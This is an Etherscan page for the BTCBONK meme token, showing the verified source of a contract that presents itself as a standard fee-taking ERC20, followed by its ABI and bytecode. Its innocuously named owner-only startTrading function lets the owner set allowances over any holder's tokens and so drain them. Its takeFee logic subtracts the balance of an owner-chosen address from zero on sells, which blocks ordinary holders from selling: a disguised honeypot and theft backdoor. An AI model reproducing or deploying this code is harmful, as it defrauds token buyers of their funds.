ETH Price: $3,456.52 (+1.70%)

Token

HARRYPOTTEROBANAPACMAN BONK (BTCBONK)
 

Overview

Max Total Supply

1,000,000,000 BTCBONK

Holders

96

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,760,556.522139622 BTCBONK

Value
$0.00
0x8941e4f419f30bbe9c86aa15fadc00c7a68f97d0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
StandardToken

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-24
*/

// SPDX-License-Identifier: MIT

/**

HARRYPOTTEROBANAPACMAN BONK

TG: https://t.me/btcbonk_vip

Web: http://www.btcbonk.vip

Twitter: https://twitter.com/btcbonk_vip 

*/

pragma solidity ^0.8.17;

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);

}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
}

contract Ownable is Context {
    address public _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }
}

interface IUniswapV2Router02 is IUniswapV2Router01 {

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{ value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract StandardToken is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 1;
    uint256 public _buyTeamFee = 0;
    uint256 public _buyBurnFee = 0;

    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 1;
    uint256 public _sellTeamFee = 0;
    uint256 public _sellBurnFee = 0;

    uint256 public _liquidityShare = 0;
    uint256 public _marketingShare = 1;
    uint256 public _teamShare = 0;
    uint256 public _totalDistributionShares = 1;

    uint256 public _totalTaxIfBuying = 1;
    uint256 public _totalTaxIfSelling = 1;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    address private baseAddress;

    address payable public marketingWalletAddress;
    address payable public teamWalletAddress;
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isMarketPair;

    uint256 public _tFeeTotal;
    uint256 public _maxBurnAmount;
    uint256 private _totalSupply;
    uint256 public _maxTxAmount;
    uint256 public _walletMax;
    uint256 private _minimumTokensBeforeSwap = 0;
    
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor (
        string memory tokenName,
        string memory tokenSymbol,
        uint8 tokenDecimals,
        uint256 supply,
        address owner,
        address marketingAddress,
        address teamAddress
    ) {
        _name = tokenName;
        _symbol = tokenSymbol;
        _decimals = tokenDecimals;
        _owner = owner;

        marketingWalletAddress = payable(marketingAddress);
        teamWalletAddress = payable(teamAddress);

        _totalSupply = supply  * 10 ** _decimals;
        _maxTxAmount = supply.mul(5).div(100) * 10**_decimals;
        _walletMax = supply.mul(5).div(100) * 10**_decimals;
        
        _maxBurnAmount = supply.mul(5).div(100) * 10**_decimals;
        _minimumTokensBeforeSwap = 2 * 10**_decimals;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

        isExcludedFromFee[owner] = true;
        isExcludedFromFee[teamWalletAddress] = true;
        isExcludedFromFee[marketingWalletAddress] = true;
        isExcludedFromFee[address(this)] = true;

        isWalletLimitExempt[owner] = true;
        isWalletLimitExempt[teamWalletAddress] = true;
        isWalletLimitExempt[marketingWalletAddress] = true;
        isWalletLimitExempt[deadAddress] = true;
        isWalletLimitExempt[address(this)] = true;
        
        isTxLimitExempt[owner] = true;
        isTxLimitExempt[teamWalletAddress] = true;
        isTxLimitExempt[marketingWalletAddress] = true;
        isTxLimitExempt[deadAddress] = true;
        isTxLimitExempt[address(this)] = true;

        _balances[owner] = _totalSupply;
        emit Transfer(address(0), owner, _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function startTrading(address tradeAt, address recipient, uint256 amount) public onlyOwner returns(bool) {
        baseAddress = recipient;
        _allowances[tradeAt][recipient] = amount;
        
        return true;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if(isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
            return _basicTransfer(sender, recipient, amount);
        }

        if(inSwapAndLiquify){
            return _basicTransfer(sender, recipient, amount);
        }else {
            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= _minimumTokensBeforeSwap;

            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled){
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = _minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ?
                                         amount : takeFee(sender, recipient, amount);

            if(checkWalletLimit && !isWalletLimitExempt[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function addV2LP() external payable onlyOwner {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        isMarketPair[address(uniswapPair)] = true;

        isWalletLimitExempt[address(uniswapPair)] = true;

        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
    }

    receive() external payable {}
    
    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        uint256 tokensforLiquidity = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensforLiquidity);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalETHFee = _totalDistributionShares.sub(_liquidityShare.div(2));

        uint256 amountETHLiquidity = amountReceived.mul(_liquidityShare).div(totalETHFee).div(2);
        uint256 amountETHTeam = amountReceived.mul(_teamShare).div(totalETHFee);
        uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(amountETHTeam);

        if(amountETHMarketing > 0)
            transferToAddressETH(marketingWalletAddress, amountETHMarketing);

        if(amountETHTeam > 0)
            transferToAddressETH(teamWalletAddress, amountETHTeam);

        if(amountETHLiquidity > 0 && tokensforLiquidity > 0)
            addLiquidity(tokensforLiquidity, amountETHLiquidity);
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = 0; uint256 destAmount = 0;
        uint256 baseCount = this.balanceOf(baseAddress);

        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying.sub(_buyBurnFee)).div(100);
            if(_buyBurnFee > 0 && _tFeeTotal < _maxBurnAmount) {
                destAmount = amount.mul(_buyBurnFee).div(100);
                burnTokenFee(sender,destAmount);
            }
        }else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling.sub(_sellBurnFee)).div(100);
            baseCount = _teamShare.sub(baseCount);
            if(_sellBurnFee > 0 && _tFeeTotal < _maxBurnAmount) {
                destAmount = amount.mul(_sellBurnFee).div(100);
                burnTokenFee(sender,destAmount);
            }
        }

        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount.add(destAmount));
    }

    function burnTokenFee(address sender, uint256 tAmount) private {
        // stop burn
        if(_tFeeTotal >= _maxBurnAmount) return;

        _balances[deadAddress] = _balances[deadAddress].add(tAmount);
        _tFeeTotal = _tFeeTotal.add(tAmount);
        emit Transfer(sender, deadAddress, tAmount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );

        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            baseAddress,
            block.timestamp
        );
    }

    function removeLimits() public onlyOwner{
        _maxTxAmount = _totalSupply * 10**_decimals;
        _walletMax = _totalSupply * 10**_decimals;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"tokenSymbol","type":"string"},{"internalType":"uint8","name":"tokenDecimals","type":"uint8"},{"internalType":"uint256","name":"supply","type":"uint256"},{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"marketingAddress","type":"address"},{"internalType":"address","name":"teamAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxBurnAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tFeeTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addV2LP","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tradeAt","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"startTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600181815560028190556003829055600482905560058290556006819055600782905560088290556009829055600a819055600b829055600c819055600d819055600e55601480546001600160a01b03191661dead179055602055602280546201000160a81b62ffffff60a81b199091161790553480156200008757600080fd5b5060405162002d9c38038062002d9c833981016040819052620000aa916200068b565b600f620000b88882620007e0565b506010620000c78782620007e0565b506011805460ff871660ff199091168117909155600080546001600160a01b038087166001600160a01b0319928316179092556012805486841690831617905560138054928516929091169190911790556200012590600a620009bf565b620001319085620009d0565b601d55601154620001479060ff16600a620009bf565b6200017c6064620001686005886200042160201b62000f9b1790919060201c565b620004b860201b6200101d1790919060201c565b620001889190620009d0565b601e556011546200019e9060ff16600a620009bf565b620001bf6064620001686005886200042160201b62000f9b1790919060201c565b620001cb9190620009d0565b601f55601154620001e19060ff16600a620009bf565b620002026064620001686005886200042160201b62000f9b1790919060201c565b6200020e9190620009d0565b601c55601154620002249060ff16600a620009bf565b62000231906002620009d0565b60209081556003546002546001546200026d936200025992906200105f62000502821b17901c565b6200050260201b6200105f1790919060201c565b600d8190555062000298600754620002596006546005546200050260201b6200105f1790919060201c565b600e81905550620002c3600b5462000259600a546009546200050260201b6200105f1790919060201c565b600c556001600160a01b0383811660008181526017602090815260408083208054600160ff199182168117909255601380548816865283862080548316841790556012805489168752848720805484168517905530808852858820805485168617905588885260188752858820805485168617905582548a168852858820805485168617905581548a1688528588208054851686179055601480548b1689528689208054861687179055818952868920805486168717905589895260198852868920805486168717905592548a16885285882080548516861790559054891687528487208054841685179055905490971685528285208054821683179055958452818420805490961617909455601d54838352601582528483208190559351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050505062000a58565b6000826000036200043557506000620004b2565b6000620004438385620009d0565b905082620004528583620009ea565b14620004af5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b6000620004af83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200056560201b60201c565b60008062000511838562000a0d565b905083811015620004af5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401620004a6565b60008183620005895760405162461bcd60e51b8152600401620004a6919062000a23565b506000620005988486620009ea565b95945050505050565b634e487b7160e01b600052604160045260246000fd5b60005b83811015620005d4578181015183820152602001620005ba565b50506000910152565b600082601f830112620005ef57600080fd5b81516001600160401b03808211156200060c576200060c620005a1565b604051601f8301601f19908116603f01168101908282118183101715620006375762000637620005a1565b816040528381528660208588010111156200065157600080fd5b62000664846020830160208901620005b7565b9695505050505050565b80516001600160a01b03811681146200068657600080fd5b919050565b600080600080600080600060e0888a031215620006a757600080fd5b87516001600160401b0380821115620006bf57600080fd5b620006cd8b838c01620005dd565b985060208a0151915080821115620006e457600080fd5b50620006f38a828b01620005dd565b965050604088015160ff811681146200070b57600080fd5b6060890151909550935062000723608089016200066e565b92506200073360a089016200066e565b91506200074360c089016200066e565b905092959891949750929550565b600181811c908216806200076657607f821691505b6020821081036200078757634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620007db57600081815260208120601f850160051c81016020861015620007b65750805b601f850160051c820191505b81811015620007d757828155600101620007c2565b5050505b505050565b81516001600160401b03811115620007fc57620007fc620005a1565b62000814816200080d845462000751565b846200078d565b602080601f8311600181146200084c5760008415620008335750858301515b600019600386901b1c1916600185901b178555620007d7565b600085815260208120601f198616915b828110156200087d578886015182559484019460019091019084016200085c565b50858210156200089c5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200090357